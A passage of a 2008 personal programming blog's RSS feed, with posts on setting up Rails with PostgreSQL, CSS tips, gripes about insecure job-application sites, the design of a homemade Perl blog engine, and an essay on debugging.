&lt;p&gt;&lt;a href="http://www.notebookreview.com/default.asp?newsID=2123"&gt;Why iBook?&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I wrote a review of my iBook when I first got it years ago.  Going
back and reading it, I feel that all my statements are still relevant.
What's more, my iBook works better than when I first got it!
Complaints that still apply: uneven lighting to LCD, dim LCD.
Definitely not bright enough for outdoor use.  Upgrading HDD made it
slightly louder, but well worth the performance bump.  I might switch
to a macbook at some point, but the iBook is fantastic so far.
&lt;em&gt;Update:&lt;/em&gt; Coupa has given me a Macbook.  Maybe I'll write a comparison
review to it someday.
&lt;em&gt;Update:&lt;/em&gt; Back to my iBook, tempted to get a Macbook Air or a Pro.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/znhfwCHkfcE" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 12 Feb 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/znhfwCHkfcE/my-computing-environment</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/02/12/my-computing-environment</feedburner:origLink></item>
    <item>
      <title>Setup Rails with Postgresql</title>
      <description>&lt;p&gt;Everytime I set up a Rails project, there are many braindead steps
that need to be followed.  Instead of doing a web search each time I
need to get an app setup, I follow these simple sequence of
instructions.&lt;/p&gt;&lt;p&gt;The first thing to do is to create the rails directory structure.
Many Rails tutorials assume SQLite or MySQL.  Here in ivy covered UC
Berkeley, our database of choice is Postgresql.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;rails --database=postgresql myapp
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Postgresql&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;(as postgres admin user)
psql template1

create role myapp with createdb login password 'myapp';  // 'login' is optional if you plan to use psql
// with newer versions of Rails, 'rake db:create:all' will create all the databases listed in config/database.yml
select * from pg_user;    // verify user created
select * from pg_shadow;  // sysid listed here
create database myapp_development owner myapp;
create database myapp_test owner myapp;
create database myapp_production owner myapp;

(in RAILS_ROOT)
rake db:migrate
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If rake complains that it can't load the file 'postgres', then you are
missing the postgresql database adapter.  You can get it via:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo gem install pg
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If that fails, read the &lt;a href="http://wiki.rubyonrails.org/rails/pages/PostgreSQL"&gt;wiki
page&lt;/a&gt; about it.
For the lazy, you can simply install the slower pure ruby adapter
'postgres-pr'&lt;/p&gt;&lt;p&gt;The 'postgres' gem is
&lt;a href="http://archives.postgresql.org/pgsql-interfaces/2007-12/msg00001.php"&gt;unmaintained&lt;/a&gt;,
and a new &lt;a href="http://rubyforge.org/projects/ruby-pg"&gt;fork of the project 'pg'&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Config&lt;/h2&gt;&lt;p&gt;Keep your database.yml
&lt;a href="http://blog.bleything.net/2006/06/27/dry-out-your-database-yml"&gt;DRY&lt;/a&gt;.
Edit database.yml as follows:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;common: &amp;amp;common
  adapter: postgresql
  username: myapp
  password: password # from psql setup, see Postgresql

development:
  &amp;lt;&amp;lt;: *common
  database: myapp_development

test:
  &amp;lt;&amp;lt;: *common
  database: myapp_test

production:
  &amp;lt;&amp;lt;: *common
  database: myapp_production
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Subversion&lt;/h2&gt;&lt;p&gt;The following keeps your repository squeaky clean:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mv myapp myapp-tmp
mkdir -p myapp/{branches,tags}
mv myapp-tmp myapp/trunk
cd myapp/trunk
rm -rf log/* tmp/*
mv config/database{,-example}.yml
svn ps svn:ignore '*' log
svn ps svn:ignore '*' tmp
svn ps svn:ignore 'database.yml' config
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Updating Stuff&lt;/h2&gt;&lt;p&gt;To update rails, do&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo gem install -y rails
&lt;/code&gt;&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/FWl9mfIhoug" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 5 Feb 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/FWl9mfIhoug/setup-rails-with-postgresql</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/02/05/setup-rails-with-postgresql</feedburner:origLink></item>
    <item>
      <title>CSS Tips and Tricks</title>
      <description>&lt;p&gt;These aren't organized in any way for now.  Maybe when I collect
enough of them, I'll create a cookbook of some kind.&lt;/p&gt;&lt;h3&gt;Centering within a Block Element&lt;/h3&gt;&lt;div id="outer" style="width: 350px; background-color: pink;"&gt;
  &lt;div id="centered" style="border: 1px solid black; width: 150px; margin: 0px auto; text-align: center"&gt;
      &lt;p&gt;Le Awesome!&lt;/p&gt;
      &lt;p&gt;Poo poo!&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;&lt;h3&gt;Clearing Block Elements&lt;/h3&gt;&lt;p&gt;The clear attribute of block elements specify whether anything can
occur to the &lt;em&gt;left&lt;/em&gt; or &lt;em&gt;right&lt;/em&gt; or &lt;em&gt;both&lt;/em&gt; (either side) of a block
element.  For example, if a div has 'clear: left' set on it, then no
element will be allowed to be left of it.  If there is, then the
cleared element will be pushed down to the next line.&lt;/p&gt;&lt;h3&gt;Spacing&lt;/h3&gt;&lt;p&gt;Spacing is really important and can be hard to remember at first, but
it's really intuitive after you learn it:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  Margin
  +-----Border---------------------------------------+
  |           Padding                                |
  |                                                  |
  |     Content                                      |
  |                                                  |
  |                                                  |
  |                                                  |
  |                                                  |
  |                                                  |
  +--------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.noupe.com/css/using-css-to-do-anything-50-creative-examples-and-tutorials.html"&gt;CSS to do anything&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ryanfait.com/resources/footer-stick-to-bottom-of-page/"&gt;Sticky Bottom Footer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/Tc6CQV1u9YI" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 5 Feb 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/Tc6CQV1u9YI/css-tips-and-tricks</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/02/05/css-tips-and-tricks</feedburner:origLink></item>
    <item>
      <title>Infuriating Job Applications</title>
      <description>&lt;p&gt;Spring is in the air, but instead of allergies, I'm seeing my peers
being hit hard by job anxieties.  Thanks to this gloomy weather, I've
been on top of my job applications.  That isn't to say that every day
has been a merry job hunt.  Normally I would've just let the small
things slide, but it's time to be more frank.  When companies come to
a career fair, they have just as much at stake as the people they're
hiring.  What surprises me is how oblivious certain companies are to
how they're damaging their own reputation.  Here's a rundown of what
can use improvement.&lt;/p&gt;&lt;h2&gt;Lack of Enthusiathism&lt;/h2&gt;&lt;p&gt;I understand that being a recuiter is difficult.  You have to talk all
day, have good candidates and bad, and repeat the same elevator pitch
and answer the same questions.  It sucks.  I understand that.  But
showing fatigue and lack of interest isn't the way to go.  People are
watching, and you're representing your company.  Show some enthusiam!&lt;/p&gt;&lt;p&gt;On the polar opposite are the recruiters who are too grabby.  I'd much
rather see this than the former, but this can also get annoying.  If
you can sense that candidate you're talking to isn't interested, or
wouldn't be a great match for your company, why waste the opportunity
to meet the eager guy waiting to talk to you?&lt;/p&gt;&lt;h2&gt;Two Faced Tactics&lt;/h2&gt;&lt;p&gt;Give the same spiel to everyone and make everyone comfortable.  The
day's hectic enough as it is without extra misinformation.  It doesn't
help if you tell different stories to different people.  I noticed a
few companies brought along recruiters who had only just started.
When I'd ask them questions, sometimes they would answer differently
than their coworkers, or not be able to answer at all.&lt;/p&gt;&lt;h2&gt;Outsourcing your Hiring&lt;/h2&gt;&lt;p&gt;I think outsourcing's a fantastic idea.  The company saves time and
money and can focus on their business and products.  But for pete's
sake, check on who you're outsourcing to see if they're doing a good
job!  I think both Facebook and Garmin dropped the ball on this one by
using Taleo.  I'm not sure who to point fingers at, but the problems I
saw with the application submission was laughably bad.&lt;/p&gt;&lt;h3&gt;Garmin&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;The job application site didn't render properly in non-IE browsers.&lt;/li&gt;
&lt;li&gt;The site looked like sh*t in IE.&lt;/li&gt;
&lt;li&gt;The site would break randomly and scroll the page funny at times.&lt;/li&gt;
&lt;li&gt;The site REQUIRED my FULL NAME and SOCIAL SECURITY NUMBER in order
to submit my application.  What's worse, it didn't even use SSL.
Yep, guess what, my SSN is 111-11-1111.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Facebook&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A badly attached resume gives me a cryptic corrupt error message
without any gesture to try again or remedy the problem.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The password they ask for doesn't allow '@'.  Why is this?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;img src="/images/no-symbol-password.png"&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;The password I enter is stored in PLAINTEXT.  Thankfully, I've
learned to set a initial dummy password to ensure a site at least
hashes my password before I submit a legit password.  superpassword
for the win!&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;img src="/images/plaintext-password.png"&gt;&lt;/p&gt;&lt;h2&gt;The Pros&lt;/h2&gt;&lt;p&gt;Ratting on recuiters isn't very nice.  I understand they have it hard
too.  I really do appreciate the little things and I definitely do
remember these impressions when I go home to follow up.  It was nice
that the Oracle recruiter remembered me and made some small talk with
me even though I already saw her a couple weeks ago.  It's nice to be
contacted within the time a recruiter says.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/V7QDfAa3p1I" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 31 Jan 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/V7QDfAa3p1I/infuriating-job-applications</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/01/31/infuriating-job-applications</feedburner:origLink></item>
    <item>
      <title>Flaco Blog</title>
      <description>&lt;p&gt;A while back I was chatting to Arthur and bitching about all the
various blog systems.  To date, I've tried a wide cross section of
them and found them all to be inadequate.  Arthur's proposed solution
was to write his own.  I shied away from that notion until a few days
ago.  Then I finally caved and started thinking about doing my own.&lt;/p&gt;&lt;h2&gt;Requirements&lt;/h2&gt;&lt;p&gt;It's only in the past year or so that I've viewed blogging as a public
activity.  Previously, I used it more as a personal journal even if
others peeked in.  My first exposure was the trashy, but extremely
functional Xanga.  I didn't care very much about web standards or
design early in high school, so Xanga was quite good to me.  It was
free, customizable, and all my friends used it.  My relationship with
Xanga went sour when I tried to screen-scrape all my posts with
WWW::Mechanize.  It worked ok, but it made me realize how shitty the
HTML was and that there could be better.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;control and manipulation of my own data.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Sometime after that I had a brief stint with LiveJournal.  I lacked
motivation to keep it up, but I liked the external clients, and open
source nature of LJ.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;external clients / API&lt;/li&gt;
&lt;li&gt;clean look&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;I really dislike writing markup, and I also despise looking at
markup.  Neither was avoidable with other systems.  Writing markup by
hand was tedious and often resulted in erroroneous markup.  Once
you've written the markup, it's nice to know that the data is
transformable with XSLT.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;simplicity&lt;/li&gt;
&lt;li&gt;web standards&lt;/li&gt;
&lt;li&gt;easily transform data&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Writing a blog with just plain text and not blog management system is
also a lost cause.  Once you get over a certain number of posts, it's
hard to manage the permalinks by hand.  There's also lots of
duplicated HTML that would best be abstracted into templates.  On top
of that, it's important to have a way for users to give feedback about
your articles.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;comments system&lt;/li&gt;
&lt;li&gt;templating system&lt;/li&gt;
&lt;li&gt;automation of publishing tasks&lt;/li&gt;
&lt;li&gt;"Don't Repeat Yourself" design&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Design&lt;/h2&gt;&lt;p&gt;With these points in mind, I looked to create my ideal blog management
system.  Plain text will be used to manage storage for maximum
future-proofing, and minimal software requirements.  The
implementation language of choice is a hybrid of Perl, Bash, and
anything that fits in the future.  For the sake of simplicity and at
the expense of customization, I've opted for enforcing a hardcoded
directory hierarchy:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;articles/
  YYYY/
    MM/
      DD/
        title/
          index.draft
          index.text
          index.html
          images
          stylesheets
          .config/
            override default options
          .meta/
            tags, word count, etc
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This keeps each individual article self-contained.  Rather than model
a data structure for what an article is, I've made the structure
implicit in the way the data is stored.  This idea separates the
system from the data so that the data makes sense standalone.  You
could argue that I duplicate this into a schema for some database, but
why would I need one?&lt;/p&gt;&lt;p&gt;The .text and .html is carried over from my earlier text-based blog
system.  The best web word processor is Markdown.  It lets you write
in any editor you want and has syntax rules that become natural almost
instantly.  This freed my eyes from staring at markup and also gave me
very clean XHTML and other formats as needed.  The editor and external
client was solved free of charge by Emacs and ssh.  Intermdiate
articles can be saved with a .draft extension.&lt;/p&gt;&lt;p&gt;As far as comments go, I plan to write it as a separate system with an
public API.  There's no reason to make a blog-specific comment system
when I can create one that can be used anywhere.  This also removes a
huge chunk of complexity involved with fighting spam that I really
don't feel belongs in a blog system.  This guy will come later.&lt;/p&gt;&lt;h2&gt;Templating&lt;/h2&gt;&lt;p&gt;As I'm writing this, one annoying piece of the system has cropped up:
the templating system.  This puts me in a sticky spot because using an
existing templating system would introduce more bloat than I'd like,
but writing my own simplistic templating system sounds tricky.  At the
moment, all I need is a declarative way of piecing together snippets
of HTML.  My favorite option so far is to match the path of a file to
be published against a set of rules to determine which template to
use.  The actual template will be a simple perl script that takes the
content to be embedded as input and spit out a laid out version.  The
downside of this is the assumption that there will be only be one
snippet to be inserted within a template.  This is limiting, but can
be fixed by adding options so that the layout script knows what is
given.  For example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;perl article.layout --content=articles/2008/01/29/foo/index.html
                    --header=includes/head.html
                    --footer=includes/foot.html
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;it'd be nice to have a generator script to scaffold a generic
template:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;script/generate layout article [header,content,footer]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I've been working with
&lt;a href="http://template-toolkit.org/"&gt;TemplateToolkit&lt;/a&gt; for work, and I've
found it to be very easy to use, but not bloaty.&lt;/p&gt;&lt;h2&gt;Headlines and Blurbs&lt;/h2&gt;&lt;p&gt;This one's a bit of a bummer because none all the solutions I come up
with are tradeoffs.  The slowest and most accurate solution is
to have the author of articles fully specify the headline and blurb.
There could be separate markup at the top of a file, or put into
separate files.  Basically, this involves adding more structure to the
writing and more logic to handle this structure.  This idea doesn't
mix well with my goal of uber-simplicity.&lt;/p&gt;&lt;p&gt;Instead I opted for an approach that sacrifices some generality.  I
notice that all articles that I like usually involve an engaging headline
followed by an abstract.  So I figure it's fair for me to look through
either the source .text or markdowned .html for an h1 headline, and
the first paragraph.  The exit strategy is straightforward because
it's a simple map of a function over a list or articles.  No biggie.&lt;/p&gt;&lt;h2&gt;Dynamic Content&lt;/h2&gt;&lt;p&gt;Since I've chosen such an extreme of simplicity and speed, it will be
very challenging to have dynamic content.  Once a set of articles has
been published, they are simple static pages.  This makes tasks such
as pagination, grouping articles by tags, and search non-trivial.  I
see two solutions to this problem.  One way is to mimic Blogger by
generating the dynamic content and flattening those into static pages.
Another is to build a separate service to generate the content and
reference the service from the static pages.  Reference can be done
with AJAX or server side includes.  I prefer the server side includes
because it does not assume the client to have javascript, but don't
like the idea of turning on SSI's because each page load would require
Apache to scan for SSI directives.&lt;/p&gt;&lt;p&gt;Pre-generating and Flattening out dyanmic content will only get me so
far.  Hopefully it'll be far enough :)&lt;/p&gt;&lt;h2&gt;Performance&lt;/h2&gt;&lt;p&gt;Performance-wise, I want this system to be fast.  How fast?  Here are
my design goals:&lt;/p&gt;&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;Operation&lt;/th&gt;
&lt;th&gt;Running Time&lt;/th&gt;
&lt;th&gt;Storage&lt;/th&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;View an article&lt;/td&gt;
    &lt;td&gt;O(1) - as fast as it takes to serve a static page&lt;/td&gt;
    &lt;td&gt;O(2n + m) - where n is the number of words in an article.
    Each article will be kept in both Markdown and XHTML format.  The
    extra m factor stands for the extra templating markup, but is pretty
    insignificant.  I'm trading off a bit of storage for best-case
    speed.&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Write an article&lt;/td&gt;
    &lt;td&gt;O(1) - Emacs ftw!&lt;/td&gt;
    &lt;td&gt;N/A&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Publish articles&lt;/td&gt;
    &lt;td&gt;O(n) - where n is the number of articles to publish.  The
    script uses 'GNU find' and command line options to only publish
    and generate needed content&lt;/td&gt;
    &lt;td&gt;Some meta information about the articles are created, so a bit
    of extra space is needed.  Again, pretty insignificant.
    &lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;&lt;p&gt;For now, I have no ambition of making this system scale, but I'm smug
with the knowledge that it will scale.  ZFS immediately comes to mind.
I can imagine publishing as a bottleneck, but clever uses of 'find',
'locate' and meta information can minimize these operations.  Another
storage consideration is how wasteful it would be to duplicate common
HTML snippets across articles.  Headers, footers, and sidebars are
good examples of this.  My take on this issue is: Care when it
matters.  My own personal use case is to have meaty articles with
minimal fluff snippets.  For me, the benefits of having blazing fast
page views outweighs the negative of wasted storage.  I call it "Lazy
Pre-Evaluated Caching", or LPEC for short.  On the other hand, I can
see how saving space can lead to more articles being stored in memory.
My exit strategy, should it ever be needed, is to LPEC the most
popular pages, and leave rarely viewed pages in un-markdown'ed source
.texts.&lt;/p&gt;&lt;p&gt;For maintenance, I want it all.  I don't want the code to be obsolete,
and I definitely don't want my data to suffer bitrot.  By using a
hybrid of languages and frameworks, I get the best of each and
guarantee easy replace of any subsystem if a better solution arises.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:  That last bit was too vague for my tastes.  Most of the
system will be written in Perl so I can beef up some of my Perl-fu.  I
doubt anything will feel slow, but I might use
&lt;a href="http://perldoc.perl.org/perlxs.html"&gt;XS&lt;/a&gt; just to play with it.&lt;/p&gt;&lt;p&gt;Common tasks can be described with Rake and to automate these tasks,
I'll periodically run them from cron.  Here's what I have in mind for
a basic publish_all task&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# month  hour  day-of-month month day-of-week   command
0    4    *    *    *    ~/portfolio/publish_all
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: There will be options in the 'publish' command that allows
users to filter what they want to publish.&lt;/p&gt;&lt;h2&gt;Data Models&lt;/h2&gt;&lt;p&gt;I plan to use the file hierarchy and file names as an encoding of the
data.  However, from a programatic perspective, it makes more sense to
have an API to manipulate this data.  This also makes it easy to
transform the data into any other storage backend as needed.&lt;/p&gt;&lt;h3&gt;Article&lt;/h3&gt;&lt;p&gt;An article is a source un-markdowned entry.  It keeps state for
everything that describes an article and is implemented as a
self-contained folder.&lt;/p&gt;&lt;h4&gt;State&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;title&lt;/li&gt;
&lt;li&gt;blurb&lt;/li&gt;
&lt;li&gt;year, month, day&lt;/li&gt;
&lt;li&gt;path - the root directory of the self-contained article.&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;Methods&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&amp;lt;=&amp;gt; - date compare to another article&lt;/li&gt;
&lt;li&gt;to_html&lt;/li&gt;
&lt;li&gt;to_xml&lt;/li&gt;
&lt;li&gt;to_* - meta-method for arbitrary formats?  This is probably overkill.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Template&lt;/h3&gt;&lt;p&gt;Object used to transform and layout objects.  Each template type
expects arguments of the things they need in order to lay out
themselves.  For example, an ArticleHTMLTemplate may require
'stylesheets', and 'articles', whereas an ArticleXMLTemplate may only
require 'articles'.&lt;/p&gt;&lt;h3&gt;Logic + Glue&lt;/h3&gt;&lt;p&gt;I didn't want to call it controllers, but I'm thinking of it in a MVC
kind of way.&lt;/p&gt;&lt;h2&gt;Notes&lt;/h2&gt;&lt;p&gt;I'm keeping some bullets here for updating later.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;thinking about the different use cases definitely revealed a pattern
for processing articles.  A key observation I noticed is that there
are two types of operations: taking an article as input, doing
something, and spitting out a result.  The other is to take a &lt;em&gt;list&lt;/em&gt;
of articles as input, do something, and spit out a single result.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;using &lt;a href=""&gt;Moose&lt;/a&gt; as the object system to represent an article.
&lt;strong&gt;Update&lt;/strong&gt; - I've decided against this because it's too fancy.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;markdown has an annoying feature that it will wrap multi-line 'li'
content in a 'p' tag.  I fixed this by styling 'li p' to be inline.
This is still valid xhtml and still makes markup sense.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;rebuilding the pages that are indicies for lists of articles
requires rebuilding all of the indicies.  This does scale, so I've
been toying with the idea of keeping a B-tree of published
entries.  There needs to be meta files to keep track of how many
entries are in what pages.  When a page gets too full, it gets split
into two separate pages; When a page gets too empty, it gets joined
with it's neighbor.  When publishing, it means that only specific
pages are being rebuilt, rather than all index pages.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Status&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;2008-05-03: pagination! atom feed!&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/FZO829p_yEo" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sun, 27 Jan 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/FZO829p_yEo/flaco-blog</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/01/27/flaco-blog</feedburner:origLink></item>
    <item>
      <title>Shoot em up Debugging</title>
      <description>&lt;p&gt;Debugging is like a video game.  Unfortunately, it's the meanest video
game you will ever play.  The objective is to destroy bugs, but each
destroyed bug will only reveal more sinister bugs with more health,
greater mana, and better AI.  After you've smooshed all the trivial
syntax buggers, a whole new species evolves and leaves you fighting a
being as intelligent as yourself.  That fleeting sense of
accomplishment that you felt the first time you vanquished a missing
semicolon quickly melts into a never-ending nightmare of software
maintenance.&lt;/p&gt;&lt;p&gt;Is there no hope at all?  Are we all doomed to play this never-ending
and un-winnable game?  Well, not really.  At least, I sincerely hope
not.  Thankfully the rewards are great, and who knows what the next
bug-boss will be like?&lt;/p&gt;&lt;h2&gt;Prevention&lt;/h2&gt;&lt;p&gt;The first step to kicking bug-ass is to minimize the number of bugs.
It doesn't matter how great you are at finding mistakes after the
fact, it's much more rewarding to write a system and have it work to
spec the first time around.  Creating fewer bugs also keeps you
focused on writing &lt;em&gt;real&lt;/em&gt; code and the big picture rather than chasing
down silly obscurities.&lt;/p&gt;&lt;h3&gt;Better Design&lt;/h3&gt;&lt;p&gt;Everyone messes this one up.  I'm just as guilty as the next guy when
it comes to starting to code too early and digging myself into a hole.
Take your time and &lt;em&gt;think&lt;/em&gt;.  Don't think with a computer, just grab
some coffee and doodle on some napkins.  It's amazing how detrimental
a computer and Internet can be for this.  They'll only lead you to all
kinds of minutia you shouldn't worry about.  It's as if you're
creating bugs before you even have an idea of what you need to do.
You can't win like that!&lt;/p&gt;&lt;h3&gt;Better Components&lt;/h3&gt;&lt;p&gt;As you're designing, it's always good to start classifying your
components and modules.  Don't try to abstract everything into pez-sized
libraries.  Simply make a note to remind yourself when it's possible
and revisit these notes when needed.&lt;/p&gt;&lt;p&gt;Make sure to challenge your own bias and assumptions.  The more you
play devil's advocate, the less chance those bugs will have to
surprise you.  It's MUCH better to predict a bug rather than to have
one sneak in an infinite loops when you're not looking.&lt;/p&gt;&lt;p&gt;Challenge your interfaces.  Check your input, and output for
consistency.  Will your code degrade gracefully when something doesn't
work?  Will it notify somebody?  Am I trying too hard here?  Am I
making assumptions because I don't understand the problem?&lt;/p&gt;&lt;p&gt;A great way to see if you've covered all cases is to run it by a
friend.&lt;/p&gt;&lt;h3&gt;Better Testing&lt;/h3&gt;&lt;p&gt;The absolute low point of every developer's life isn't when they're
stuck.  It isn't when a system fails;  It isn't even when we pass out
on our keyboards after that 3rd all-nighter.&lt;/p&gt;&lt;p&gt;No.  The lowest we succumb to is sitting in front of a terminal,
stepping through a jillion lines of code.&lt;/p&gt;&lt;p&gt;Debuggers are meant to help you, but I can't help but see them as a
very very expensive crutch.  That's because people use them when they
shouldn't.  When you're stepping through all those lines and praying
to see some anomaly, you're a goner.  Instead, you should identify the
naughty component and &lt;em&gt;test&lt;/em&gt; it.  Testing beats stepping any day of
the week.  If designed with testability in mind, then woot.  Otherwise
if you're given a giant monolithic beast of a legacy system, try black
box tests.  Remember that testing doesn't require a fancy harness or
framework, but make a honest effort to make your tests available and
repeatable.&lt;/p&gt;&lt;h2&gt;Tools&lt;/h2&gt;&lt;p&gt;Prevention can only get you so far.  When stuff starts crashing and
the cause is not immediately obvious, hunker down with some tools.&lt;/p&gt;&lt;p&gt;Be wary of tools.  There are always too many choices, and most will
offer more configuration than usefulness.  Always weigh the benefits
before you install the latest and greatest.  If GNU make does
everything you want, and you're comfortable with it, look long and
hard before switching over to the 'next big thing'.  Don't say I
didn't warn you if an afternoon goes by and you have a half-configured
build system.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Automation of tests with CruiseControl or similar systems is
fantastic, but are only as useful as the tests that are written.
Given limited resources, prioritize quality of tests over
automation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Profiling code for performance, leaks, and bugs are a great way to
catch bugs that aren't mission critical now, but could get nasty in
the future.  To be honest, I don't have much experience in this
arena.  I hear Valgrind is pure black magic though.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I hate debuggers.  Graphical or otherwise, there's just a ton of
information spewing at you, and if you're stepping line by line and
you missing a line, you have to start over. If you get tired, just
stop.  There's no benefits to blankly staring at a call stack when
your head goes numb.  Go have a lollipop instead.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Learn to avoid using logging frameworks for debugging.  You're
logging output will grow, and digging through log output is the same
type of misery as going through a debugger.  Use logging as a form
of notifying the user.  Use testing to verify correctness.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Debugging is a nasty topic.  A big reason why software engineers are
paid so much is because of the pain it takes to maintain and debug
software.  But I believe that bugs aren't a lost cause, and with the
right attitude and habits, it might be more game than chore.&lt;/p&gt;&lt;p&gt;Now if you'll excuse me, I have to go tackle some decade-old crufty
Perl.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/plVxFxSY9_s" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sat, 26 Jan 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/plVxFxSY9_s/shoot-em-up-debugging</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/01/26/shoot-em-up-debugging</feedburner:origLink></item>
  </channel>
</rss>
